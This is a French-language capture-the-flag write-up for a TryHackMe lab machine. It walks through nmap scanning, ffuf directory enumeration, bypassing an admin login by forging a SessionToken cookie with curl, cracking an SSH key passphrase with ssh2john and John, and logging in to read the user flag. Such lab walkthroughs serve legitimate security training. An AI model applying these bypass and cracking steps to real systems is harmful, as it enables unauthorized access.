Petite black-box de niveau moyen. Je ne sais pas du tout si j’arriverais au bout ni en combien de temps. Je n’ai pas fait les cours sur l’élévation de privilèges, donc j’ai quelques appréhensions mais on va faire avec. Les cours c’est sympa mais j’avais envie de me challenger.

Les infos de base

Le pitch est le suivant:

Des étudiants ont créé un outil de gestion de mots de passe.

  • IP: 10.10.254.153
  • Machine d’attaque: une Kali (même pas last update…) en VPN
  • 2 flags à trouver:
    • Hack the machine and get the flag in user.txt
    • Escalate your privileges and get the flag in root.txt

Suivez-moi !

Découverte du réseau

Déjà on va tenter le ping pour être sûr qu’on est pas comme des aveugles avec un walkman.

ping 10.10.254.153              
PING 10.10.254.153 (10.10.254.153) 56(84) bytes of data.
64 bytes from 10.10.254.153: icmp_seq=1 ttl=63 time=30.6 ms
64 bytes from 10.10.254.153: icmp_seq=2 ttl=63 time=30.7 ms

NMap

sudo nmap -sS -T5 --top-ports 200 10.10.254.153
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-15 20:48 CEST
Nmap scan report for 10.10.254.153
Host is up (0.041s latency).
Not shown: 198 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Ok donc on a un port de serveur web et du SSH. Go vers le site étudier ça, en théorie on a plus de chances de trouver une vulnérabilité sur du Web que du SSH dès le début.

Le site web

Capture Site Accueil Après analyse de la page d’accueil, rien d’intéressant si ce n’est un commentaire:
<!--Yeah right, just because the Romans used it doesn't make it military grade, change this?-->

  • La page “About Us” n’apporte rien à notre étude
  • La page Download a quelque soucis d’écriture de balises et on peut y voir un lien vers un script .sh (donc bash), peut-être utile à un moment donné. Lien .sh code source

Enumération

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.254.153/FUZZ

Un petit ffuf pour trouver les sous-dossiers du site, s’il y en a. Et on a de la chance, parmi eux, un m’intéresse particulièrement: admin ffuf_resultat

EDIT: après la rédaction de ce write-up (qui se fait un peu en décalée), j’ai testé depuis Gobuster qui me semble plus pertinent pour l’énumération de dossiers, bien plus rapide (Go) et moins pollué dans ses résultats.

Je tente donc…et la page existe bien. Page admin Le code source ne m’apprend rien en soit mais un script login.js attire mon attention. Si je regarde son contenu, on peut voir dans les dernières lignes une info qui est utile:

if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }

Si l’authentification réussie, alors un cookie SessionToken est créé. Je vais donc tenter de feinter avec curl (ça marche aussi avec une extension Firefox mais c’est moins fun):

sudo curl -L http://10.10.254.153/admin --cookie "SessionToken=pwned"

CaptureRSAkey J’obtiens une clé RSA dans le code HTML ! Il semblerait que ça soit une clé SSH, comme indiqué dans un commentaire. Paradox en a visiblement assez de redonner le mot de passe à son collègue et lui dit de le cracker s’il l’a oublié.

Since you keep forgetting your password, jamy, I've set up SSH keys for you.
If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.
Also, we really need to talk about this "Military Grade" encryption. - Paradox

AES-128-CBC,9F85D92F34F42626F13A7493AB48F337
LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
...
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----

J’enregistre la clé dans un fichier.

echo "AES-128-CBC,9F85D92F34F42626F13A7493AB48F337
LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
...
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----" > SSHRSA

Cryptographie

Après quelques recherches, on peut tenter de cracker le mdp associé à cette clé avec SSH2John (John the ripper).

Penser à donner les droits de base sur le fichier précédemment créé pour éviter toute erreur avec son exploitation avec un : chmod 600

chmod 600 SSHRSA

# On génère le hash de la clé
ssh2john SSHRSA > SSHRSA.hash

# On crack le hash avec John et une wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt SSHRSA.hash
jamy6          (SSHRSA) 

(Mot de passe volontairement modifié) Et voilà ! Mdp acquis. Testons-le en SSH, avec la clé.

Test SSH

Vu le mdp j’en ai déduit le nom d’utilisateur: jamy (modifié également)

ssh -i SSHRSA.key jamy@10.10.254.153
Enter passphrase for key \'SSHRSA.key\':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

And voila !

Voyons ce qu’on trouve sur ce serveur avec ce compte.

La commande ‘history’ ne retourne rien.

Listing des fichiers dans le profil:

ls -al
total 48
drwxr-xr-x 6 jamy jamy 4096 Jun 27  2020 .
drwxr-xr-x 4 root  root  4096 Jun 27  2020 ..
lrwxrwxrwx 1 jamy jamy    9 Jun 27  2020 .bash_history -> /dev/null
-rw-r--r-- 1 jamy jamy  220 Jun 27  2020 .bash_logout
-rw-r--r-- 1 jamy jamy 3771 Jun 27  2020 .bashrc
drwx------ 2 jamy jamy 4096 Jun 27  2020 .cache
drwx------ 3 jamy jamy 4096 Jun 27  2020 .gnupg
drwxrwxr-x 3 jamy jamy 4096 Jun 27  2020 .local
-rw-r--r-- 1 jamy jamy   49 Jun 27  2020 .overpass
-rw-r--r-- 1 jamy jamy  807 Jun 27  2020 .profile
drwx------ 2 jamy jamy 4096 Jun 27  2020 .ssh
-rw-rw-r-- 1 jamy jamy  438 Jun 27  2020 todo.txt
-rw-rw-r-- 1 jamy jamy   38 Jun 27  2020 user.txt

Le user.txt semble répondre au premier flag à trouver !

cat user.txt
thm{65c1aaqef65656262c6281e6bf7} #modifié évidemment :)

C’est validé sur THM !

La suite ?

La partie 2 interviendra dans un autre article, j’ai déjà bossé dessus sans pour le moment trouver la bonne solution et je ne souhaite pas m’aider des walktrough.